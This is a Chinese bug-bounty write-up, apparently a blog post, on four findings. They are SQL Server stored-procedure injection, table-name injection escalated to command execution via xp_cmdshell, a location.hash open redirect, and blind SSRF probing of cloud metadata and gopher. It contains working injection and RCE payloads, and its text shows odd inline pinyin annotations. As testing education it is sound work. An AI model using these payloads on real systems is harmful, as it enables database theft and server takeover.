四個(gè)有趣的真實(shí)漏洞挖掘案例

0x00 前言

四個(gè)漏洞描述順序：

存儲(chǔ)過程sql注入；
table頭注入；
通用的url跳轉(zhuǎn)；
盲ssrf漏洞；

0x01 存儲(chǔ)過程sql注入

這是我在挖國外遇到的一個(gè)網(wǎng)站，遇到的一個(gè)真實(shí)案例，一個(gè)后臺(tái)的某個(gè)功能點(diǎn)，存在存儲(chǔ)過程sql注入，使用單引號(hào)測(cè)試，發(fā)現(xiàn)他報(bào)錯(cuò)了。

ERROR:[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure or function 'proc_*' expects parameter '@linked', which was not supplied.

這個(gè)報(bào)錯(cuò)很特別，和我平時(shí)看到的sql server報(bào)錯(cuò)信息不一樣，我第一時(shí)間去谷歌搜索了下這個(gè)報(bào)錯(cuò)信息，很快就找到了一篇文章。

https://stackoverflow.com/questions/19703653/stored-procedure-or-function-expects-parameter-which-is-not-supplied

stackoverflow查看網(wǎng)站報(bào)錯(cuò)信息真的很方便，很方便幫我們判斷使用了哪些技術(shù). 雖然我英語很差，但是谷歌瀏覽器自帶的翻譯功能就夠了，很快我就知道這是個(gè)sql server的存儲(chǔ)過程報(bào)錯(cuò)。

話說回來，不通過谷歌搜索報(bào)錯(cuò)語句，通過單引號(hào)報(bào)錯(cuò)，其實(shí)就可能猜出來個(gè)大概。

我還是很常規(guī)的測(cè)試，因?yàn)閳?bào)錯(cuò)了，所以我企圖用最簡(jiǎn)單的方法讓其報(bào)錯(cuò)出user/database等，嘗試poc：

'and 1>user and'1'='1
'and user<0 and '1'='1
等

發(fā)現(xiàn)沒有出user，甚至仍然報(bào)錯(cuò)，其實(shí)這是正常的。后續(xù)測(cè)試發(fā)現(xiàn)，只要我在后面添加內(nèi)容，他就會(huì)一直報(bào)錯(cuò)...，他好像不允許添加過多的注入payload

我開始從報(bào)錯(cuò)注入，轉(zhuǎn)為布爾類型注入測(cè)試：

'and iif(user like '%25',1,1) and'1'='1

類似這樣的payload，結(jié)局是淚目的，語句又是各種報(bào)錯(cuò)。我發(fā)現(xiàn)不能再這樣搞了，這樣搞的話思路肯定不對(duì)。

先從理解sql報(bào)錯(cuò)信息開始，理解存儲(chǔ)過程，sql server的存儲(chǔ)過程的語法是這樣的：

exec 任意語句 / exec 'sql語句'

它本身其實(shí)不需要任何單引號(hào)的閉合，因?yàn)樗皇亲址愋妥⑷耄匦抡{(diào)整測(cè)試，測(cè)試就是學(xué)習(xí)的過程，再次上payload：

13 if(substring(db_name(),1,1)='*')waitfor delay'03'

一頓fuzz，延時(shí)3s：

說明我的這個(gè)poc沒有問題，一開始踩了一個(gè)坑，一個(gè)認(rèn)知問題，慣性思維導(dǎo)致的錯(cuò)誤。

mysql下的if：if(條件,結(jié)果1,結(jié)果2)
sql server下的if：if(條件) 結(jié)果 else (結(jié)果)

這里誤以為sql server的if也是和mysql的if使用一樣，其實(shí)完全不一樣，sql server等同mysql if函數(shù)的是iif函數(shù).

我們知道，sql server報(bào)錯(cuò)有個(gè)很爽的技巧就是基于類型錯(cuò)誤：int+varchar，嘗試報(bào)錯(cuò)出db_name()。

報(bào)錯(cuò)注入poc：

13 if(1=0/db_name())waitfor delay'01'

至此，這個(gè)注入算搞定了，我可以提交了。

0x02 table頭注入

第二個(gè)分享的案例仍然是注入，sql server table頭注入，有意思的地方在于rce處，利用一個(gè)sql server特性我rce了它。

某天我挖一個(gè)站，發(fā)現(xiàn)一個(gè)功能點(diǎn)存在注入，是那種很常規(guī)的注入，通過查看js，我發(fā)現(xiàn)了一個(gè)接口：

https://xxx.com/1.aspx?plugin=*&action=*&navigationid=1&table={注入點(diǎn)}

我看到了table參數(shù)，我覺得這可能是sql server table頭注入，這是經(jīng)常做安全測(cè)試的一種直覺，我直接輸入了sysobject，他給我大量返回了信息:

select * from {可控點(diǎn)}

那么我可以做的事情變得很多很多，這個(gè)注入利用成本很低，我覺得他就是個(gè)任意sql語句執(zhí)行漏洞。

我嘗試rce，為了再次確定他是表頭注入，我嘗試在可控點(diǎn)處添加where等條件語句，嘗試Payload。

sysobjects where xtype='u' #查詢數(shù)據(jù)庫中的所有表名

我開始嘗試rce，我們都知道sql server rce的條件是需要支持堆疊，我嘗試;waitfor delay '03';直接給我報(bào)錯(cuò)了，那么大概率可能不支持堆疊查詢

不過這個(gè)注入點(diǎn)非常特別，是表頭注入，它滿足一定的條件，即使不支持堆疊，只要權(quán)限夠高，我們也可以rce。

先開啟xp_cmdshell擴(kuò)展：

sysobjects+select+1+if+1%3d1+execute('EXEC+sp_configure+''show+advanced+options'',+1%3bRECONFIGURE%3bEXEC+sp_configure+''xp_cmdshell'',+1%3bRECONFIGURE%3b')

執(zhí)行命令：

sysobjects+select+1++if+1%3d1+execute('exec+master..xp_cmdshell+"whoami"')

直接頁面顯示了whoami信息：

我是幸運(yùn)的，很快，我就提交了漏洞給相關(guān)廠商。

因?yàn)槭潜眍^注入，所以不需要堆疊了，因?yàn)閟ql server的select支持 select x select x

sql server容錯(cuò)率很強(qiáng)大，不同類型在一起不會(huì)報(bào)錯(cuò)，會(huì)做自動(dòng)區(qū)分。

第二個(gè)漏洞分享結(jié)束，開始第三個(gè)url跳轉(zhuǎn)漏洞分享。

0x03 通用的url跳轉(zhuǎn)

其實(shí)有時(shí)候，運(yùn)氣不是總是很好，漏洞也很難挖，連續(xù)好幾天，我都沒挖到漏洞，我在那邊胡亂看著，瞎點(diǎn)著。

https://*/sss/yyyy?returnUrl=https://*/#/xxxx/xxx

我對(duì)url參數(shù)比較敏感，通常我會(huì)測(cè)試ssrf/xss，即使他大概率不存在，我也會(huì)測(cè)試下，很顯然，半自動(dòng)化工具沒有發(fā)現(xiàn)任何ssrf和xss漏洞。

我注冊(cè)了一個(gè)賬號(hào)，我嘗試登錄，它告訴我，我的賬號(hào)需要審核，我嘗試?yán)@過，我也沒有繞過它。

我發(fā)現(xiàn)我沒發(fā)現(xiàn)漏洞了，那我就隨便看看吧，我都不抓包了，右鍵查看源代碼，發(fā)現(xiàn)了這么一段代碼，以前我就經(jīng)常做js代碼審計(jì)，這段代碼我不會(huì)陌生。

if(location.hash){location="https://hostname"+location.hash.substring(1);}

稍微學(xué)過一點(diǎn)js的也不會(huì)陌生，不過我們還是要走一遍基礎(chǔ)的測(cè)試流程，它使用location.hash.*去傳遞參數(shù)。

這個(gè)就是錨點(diǎn)符，常用于站內(nèi)url跳轉(zhuǎn)，記錄#/后面的內(nèi)容，其實(shí)這里的本意是做站內(nèi)url跳轉(zhuǎn)用的，不過這里沒在hostname結(jié)尾處加/這個(gè)字符串，導(dǎo)致可以任意跳轉(zhuǎn)。

我們簡(jiǎn)單測(cè)試下：

那么如果我們想任意url跳轉(zhuǎn)怎么辦？？？

http://example.com/#.dnslog.cn

除了這樣還可以通過@domain去跳轉(zhuǎn)到第三方網(wǎng)站，更加方便?。?！

他的修復(fù)方案也很簡(jiǎn)單:

if(location.hash){location="https://hostname/"+location.hash.substring(1);}

至此第三個(gè)漏洞就分享完了。

0x04 盲ssrf漏洞

github上提供的測(cè)試用例：

https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg

如果想探測(cè)是否開放gopher，又不想觸發(fā)waf怎么做？

https://ssrf.localdomain.pw/img-without-body/301-gopher-{dnslog.cn}-.i.jpg

這個(gè)url地址是可以變化的，測(cè)試什么協(xié)議就變成什么協(xié)議，其他測(cè)試樣本不再舉例，類似的，都可以隨意轉(zhuǎn)換

這里嘗試301跳轉(zhuǎn)：

GET / HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: bt8vfrpehb5ur0ldbb4o47c9s0yqmf.burpcollaborator.net
User-Agent: ImageVacuum/2.3.10 libwww-perl/6.57

有反應(yīng)，說明大概率是支持gopher協(xié)議的，那么它到底支持不支持呢？

通過查看github libwww代碼，就可以得到答案，他支持這些協(xié)議，其中包含gopher協(xié)議。

這樣我們就可以使用gopher協(xié)議去批量fuzz探測(cè)內(nèi)網(wǎng)redis等服務(wù)，這個(gè)點(diǎn)到此為止。

下面繼續(xù)科普下盲的ssrf怎么探測(cè)？因?yàn)橐话?span style="font-size:15px;">信息收集不全的情況下，我們沒什么內(nèi)網(wǎng)ip地址，那么我們?cè)趺醋C明是盲ssrf呢？

本地ip:存在端口 vs 本地ip:大概率不存在的端口

25端口提示我圖片類型不對(duì)：

審核編輯 ：李倩